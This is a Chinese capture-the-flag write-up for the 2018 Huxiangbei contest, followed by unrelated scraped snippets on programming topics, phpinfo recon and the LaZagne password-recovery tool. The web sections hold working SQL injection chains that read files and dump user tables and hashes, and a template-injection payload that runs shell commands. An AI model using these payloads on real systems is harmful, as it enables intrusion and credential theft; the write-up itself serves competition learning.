2018湖湘杯海选复赛Writeup
2018湖湘杯Writeup
- 0x01 签到题
- 0x02 MISC Flow
- 0x03 WEB Code Check
- 0x04 WEB Readflag
- 0x05 WEB XmeO
- 0x06 Reverse Replace
- 0x07 MISC Disk
- 0x08 Crypto Common Crypto
- 0x09 Reverse HighwayHash64
- 0x10 Web Mynot
0x01 签到题
关注合天智汇公众号,回复hxb2018得到flag。
0x02 MISC Flow
解题思路、相关代码和Flag截图:
下载流量包后使用Wireshark打开发现是无线数据包:
aircrack-ng ctf.pcap
aircrack-ng ctf.pcap -w password-top1000.txt
airdecap-ng ctf.pcap -e ctf -p password1
使用Wireshark分析ctf-dec.pacp
0x03 WEB Code Check
解题思路、相关代码和Flag截图:
查看http://39.108.176.234:49882/news/路径发现源代码:通过分析写出加密脚本:
from Crypto.Cipher import AES
import base64
def encrypt(context):cryptor = AES.new('ydhaqPQnexoaDuW3',AES.MODE_CBC,'2018201920202021')context = context + 'hxb2018'if (len(context)%16 != 0 ):add = 16 - (len(context) % 16)else:add = 0context = context + ('\0' * add)return base64.b64encode(base64.b64encode(cryptor.encrypt(context)))
while True:test = str(raw_input("please input:"))print encrypt(test)
最后通过sql得到flag:
-1 union select 1,load_file('/var/www/flag.php'),3,4 --
-1 union select 1,load_file('/var/www/flag.php'),3,4 --
union select 1,group_concat(schema_name),3 from information_schema.schemata
-1 union select 1,2,version(),4 --
-1 union select 1,group_concat(schema_name),3,4 from information_schema.schemata --
mozhe_discuz_stormgroup
-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup' --
notice,notice2,stormgroup_member
-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='stormgroup_member' --
id,name,password,status
-1 union select 1,name,password,4 from stormgroup_member where id=1 --
mozhe1
356f589a7df439f6f744ff19bb8092c0
-1 union select 1,name,password,4 from stormgroup_member where id=2 --
-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='notice' --
id,title,content,time
-1 union select 1,id,title,4 from notice2 where id=1 --
-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='notice2' --
0x04 WEB Readflag
解题思路、相关代码和Flag截图:
打开之后题目提示使用url-ssrf:
测试发现存在web.php:
根据提示存在readflag。但是访问是乱码,猜测使用c语言编译后的,访问readflag.c
发现该程序读取的是flag文件,访问得到flag:
0x05 WEB XmeO
解题思路、相关代码和Flag截图:
提交payload:{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('grep -nir hxb2018').read()}}
。
ssti服务器端模版注入获得flag。
0x06 Reverse Replace
解题思路、相关代码和Flag截图:
逆向程序逻辑
test1 = "637c777bf36b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b27509832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cfd0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdbe0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9ee1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb1648".decode('hex')test2 = '3350ef85212045c78fcfedf93c51504dcf004d51c7effbc3cf6e9ffb0443c3ff'.decode('hex')for tet in test2:if tet in test1:print(chr(test1.index(tet))),
获得flag:
0x07 MISC Disk
解题思路、相关代码和Flag截图:
搜索flag发现如上:
将这些十六进制当作二进制拼接起来即可得到flag:
0110011001101100011000010110011101111011001101000100010001010011010111110011000101101110010111110100010000110001011100110110101101111101
得到:flag{4DS_1n_D1sk}
0x08 Crypto Common Crypto
解题思路、相关代码和Flag截图:
通过分析可以得到这个程序是用aes加密了一部分flag。以下是AES S盒:
AES密钥
编写脚本解密:
from Crypto.Cipher import AES
key = '\x1b\x2e\x35\x46\x58\x6e\x72\x86\x9b\xa7\xb5\xc8\xd9\xef\xff\x0c'
ciphertext = raw_input('please input ciphertext:').decode('hex')
decodesys = AES.new(key)
print decodesys.decrypt(ciphertext)[:16] + ciphertext[-16:] + '}'
0x09 Reverse HighwayHash64
解题思路、相关代码和Flag截图:
修改一下HighwayHashReset函数
是用脚本解密:
while (1){mstest(buffer, 0, 1024);sprintf(buffer, "%0.10lld", count);ret = HighwayHash64(buffer, 10, key);if (0x1CCB25A666AC646B == ret){printf("flag this= %s\n", buffer);break;}if (count % 10000000 == 0){printf("now testing = %s\n", buffer);}count ++;}
flag:hxb2018{3205649871}
0x10 Web Mynot
解题思路、相关代码和Flag截图:
首先上传一个图片。发现cookie中存在反序列化字段。
修改cookie中的picture。
base64解密之后:<?php
$flag = “hxb2018{b05c25bb0431166321eed47ebf968b89}”;
echo “flag{This_flag_iS_A_F4ke_flag}”;
得到flag:hxb2018{b05c25bb0431166321eed47ebf968b89}
相关文章:

Operation Queues并发编程
并发、异步在我们的编程中,见到的太多了。在iOS中,实现并发的主要三个途径Operation Queues、Dispatch Queues、Dispatch Sources,今天我们就来详细介绍Operatin Queues的使用,花了两天时间写这一篇,值得一看。 为什么…

socket 服务器浏览器与服务器客户端实例
一、服务器与浏览器 // 取得本机的loopback网络地址,即127.0.0.1 IPAddress address IPAddress.Loopback; IPEndPoint endPoint new IPEndPoint(address, 49152); Socket socket new Socket(AddressFamily.InterNetwork, Socke…

匹配3位或4位区号的电话号码,其中区号可以用小括号括起来,也可以不用,区号与本地号间可以用连字号或空格间隔,也可以没有间隔...
public bool IsPhone(string input){string pattern "^\\(0\\d{2}\\)[- ]?\\d{8}$|^0\\d{2}[- ]?\\d{8}$|^\\(0\\d{3}\\)[- ]?\\d{7}$|^0\\d{3}[- ]?\\d{7}$";Regex regex new Regex(pattern);return regex.IsMatch(input);} 转载于:https://www.cnblogs.com/…

Mac MySQL配置环境变量的两种方法
第一种: 1.打开终端,输入: cd ~ 会进入~文件夹 2.然后输入:touch .bash_profile 回车执行后, 3.再输入:open -e .bash_profile 会在TextEdit中打开这个文件(如果以前没有配置过环境变量,那么这…

linux之x86裁剪移植---字符界面sdl开发入门
linux下有没有TurboC2.0那样的画点、线、圆的图形函数库,有没有grapihcs.h,或者与之相对应或相似的函数库是什么?有没有DirectX这样的游戏开发库?SDL就是其中之一。SDL(Simple DirectMedia Layer)是一个夸平…

iOS 视频捕获系列Swift之AVFoundation(一)
iOS 视频捕获系列之AVFoundation(一) AVCaptureMovieFileOutput系列 在iOS开发过程中,或多或少的都涉及视频的操作。 尤其在去年直播行业的带动下,移动端对视频的处理也愈来愈发要求严格。 本文也是在 这篇 中参考而来。 Swift 版本哦! 本文 …

C#做外挂常用API
using System; using System.Collections.Generic; using System.Text; using System.Runtime.InteropServices; //这个肯定要的 namespace WindowsApplication1 {class win32API{public const int OPEN_PROCESS_ALL 2035711;public const int PAGE_READWRITE 4;public con…

phpinfo 信息利用
0x01 基础信息 1.system info:提供详细的操作系统信息,为提权做准备。 2.extension_dir:php扩展的路径 3.$_SERVER[‘HTTP_HOST’]:网站真实IP、CDN什么的都不存在的,找到真实ip,扫一扫旁站,没准就拿下几个站。 4.$_SERVER[‘…

iOS三种录制视频方式详细对比
先附上参考资料 http://www.jianshu.com/p/16cb14f53933 https://developer.apple.com/library/content/samplecode/AVSimpleEditoriOS/Introduction/Intro.html https://github.com/objcio/VideoCaptureDemo https://github.com/gsixxxx/DTSmallVideo https://github.com/Andy…

C# 实现Oracle中的数据与Excel之间的转换
最近项目要求实现数据库之间数据在各个数据库之间导入导出,在此做个笔记 1. 将Oracle中的表导入到Excel中,反之亦然 private static readonly string connectionString ConfigurationManager.ConnectionStrings["OracleConnection"].Connecti…

【转】Word2007中不连续页码设置 多种页码设置
【转】Word2007中不连续页码设置 多种页码设置 页码是论文必不可少的部分。我们看一下如何添加页码,并且针对一些特殊的格式要求怎么应对: 如果是【毕业论文】有多种混合页码,有Ⅰ、Ⅱ、Ⅲ。。。还有1、2、3 。。。请直接看【第二种方法】。 …

vim编辑器异常退出产生备份文件
当非正常关闭vim编辑器时(比如直接关闭终端或者电脑断电),会生成一个.swp文件,这个文件是一个临时交换文件,用来备份缓冲区中的内容。 需要注意的是如果你并没有对文件进行修改,而只是读取文件,…

从0到1思考与实现iOS-Widget
讲述之前首先看下demo效果图: 基本的展开收起、本App本体交互然后再展示几个效果不错的 Widget app 毒物 && KeepESPNPCalcMusixmatchFantastical 2Carrot Weatherdemo 地址在此!欢迎star 比心一、Widget总览 Widget 是 iOS8 推出第一版&…
Android Studio 初体验
Google在I/O2013大会上发布了Android新的开发工具Android Studio,趁周末时间做了一下尝试。有需要的可以在http://developer.android.com/sdk/installing/studio.html下载,当前版本是V0.1。官方解释:Android Studio is anew Android developm…

JAVA面试题(2)
1 String 与 new 的不同 使用“”赋值不一定每次都创建一个新的字符串,而是从“字符串实例池”中查找字符串。使用“new”进行赋值,则每次都创建一个新的字符串。 2 String与StringBuffer String类是不可变类,字符串一旦初始化后,…

限制HTTP数据包发送Referer
一般点击一个A标签的时候都会发送 Referer 什么是 Referer? 就是你点击A标签 Referer的信息告诉服务端你从哪里点击出来的 可在HTML上加 <meta name"referrer" content"no-referrer">这样就不发送Referer头了
TCP/IP详解学习笔记(3)-IP协议,ARP协议,RARP协议
把这三个协议放到一起学习是因为这三个协议处于同一层,ARP协议用来找到目标主机的Ethernet网卡Mac地址,IP则承载要发送的消息。数据链路层可以从ARP得到数据的传送信息,而从IP得到要传输的数据信息。 1.IP协议 IP协议是TCP/IP协议的核心&…

数据结构与算法分析(C++版)(第二版)
查看书籍详细信息: 数据结构与算法分析(C版)(第二版) 内容简介 本书采用程序员最爱用的面向对象C语言来描述数据结构和算法,并把数据结构原理和算法分析技术有机地结合在一起,系统介绍了各种…

nginx反向代理原理讲解
一 、概述 反向代理(Reverse Proxy)方式是指以代理服务器来接受Internet上的连接请求,然后将请求转发给内部网络上的服务器;并将从服务器上得到的结果返回给Internet上请求连接的客户端,此时代理服务…

cojs 简单的数位DP 题解报告
首先这道题真的是个数位DP 我们考虑所有的限制: 首先第六个限制和第二个限制是重复的,保留第二个限制即可 第五个限制在转移中可以判断,不用放在状态里 对于第一个限制,我们可以增加一维表示余数即可 对于第四个限制也是同理 对于…

iOS ERROR ITMS - 打包上传报错整理
作者 Silence_广 关注 2017.03.24 11:12 字数 706 阅读 45评论 1喜欢 12ERROR ITMS-90034 ERROR ITMS-90034这个问题就是你的包里面的证书和开发者中心的证书不一样所以提交的时候回报错. 如果试过网上很多的解决方法之后(诸如重新制作证书,删调过期证书…

照片墙瀑布流加载与阻止加载
网上大部分主流的瀑布流应用基本都是由后端在提供图片地址的同时提供图片宽高,这样,前端不必等待图片渲染完成,可以根据图片的宽高先把装载图片的容器或父节点先放上页面,完成基础性的布局,再让图片以渐变或其他方式逐…

利用Nginx实现简易负载均衡
基本思路如下: 比如我们有三个服务器: 其中: 130.251是反向代理转发服务器 130.251和130.238分别是负载服务器 Mysql服务器没有标出来, 为方便区分,我们先把1号负载的首页写成111111111 2号负载的首页写成222222 然后我们现在控制130.251, 把nginx配置文…

两行代码搞定iOS自定义HUD风格动画弹窗(支持选择记录) - SKChoosePopView的使用和实现思路
作者 ShevaKuilin 关注 2017.03.25 18:28* 字数 2014 阅读 270评论 0喜欢 23さらい屋五葉原文地址----> MyBlog HUD风格的选项弹窗是我们在日常开发中经常会碰到的一类需求,通常因为项目周期等因素,很少会专门抽出时间来对此类弹窗进行专门的定制开发…

yii2框架随笔29
今天我们来看UrlRule.php <?php /*** link http://www.yiiframework.com/* copyright Copyright (c) 2008 Yii Software LLC* license http://www.yiiframework.com/license/*/ namespace yii\web; use Yii; use yii\base\Object; use yii\base\InvalidConfigException; /*…

八种简易健康减肥瘦身法
①原地跑,紧实大腿肌肉;②上楼梯,瘦小腿、大腿、臀;③步行,瘦腿、腰;④瑜珈,瘦全身;⑤跳舞,瘦全身;⑥跳绳,瘦大腿、小腿;⑦晨操&#…

LaZagne检测windows本地存储的密码
LaZagne项目是用于检索存储在本地计算机上的大量密码的开源应用程序。 每个软件使用不同的技术(明文,API,自定义算法,数据库等)存储其密码。 该工具的开发是为了找到最常用的软件的密码。 下载到windows机器࿰…

通知提示SCPromptView
作者 陈小翰 关注 2017.03.24 18:01 字数 138 阅读 62评论 0喜欢 1SCPromptView SCPromptView : 显示在顶部的提示控件 你的star是我最大的动力 effect.gif安装 手动安装 下载源码,将SCPromptView文件夹拖进项目 CocoaPod pod SCPromptView 使用 SCPromptView 的用…

4566: [Haoi2016]找相同字符 SAM
折腾了好久。不过收获还是很多的。第一次自己去画SAM所建出来fail树。深入体会了这棵树的神奇性质。 当然,我最终靠着自己A掉了。(这是我第一次推SAM的性质(以前都是抄别人的,感觉自己好可耻),不过感觉好像…

NYOJ-232 How to eat more Banana
How to eat more Banana 时间限制:1000 ms | 内存限制:65535 KB难度:4描述A group of researchers are designing an experiment to test the IQ of a monkey. They will hang a banana at the roof of a building, and at the mean time, …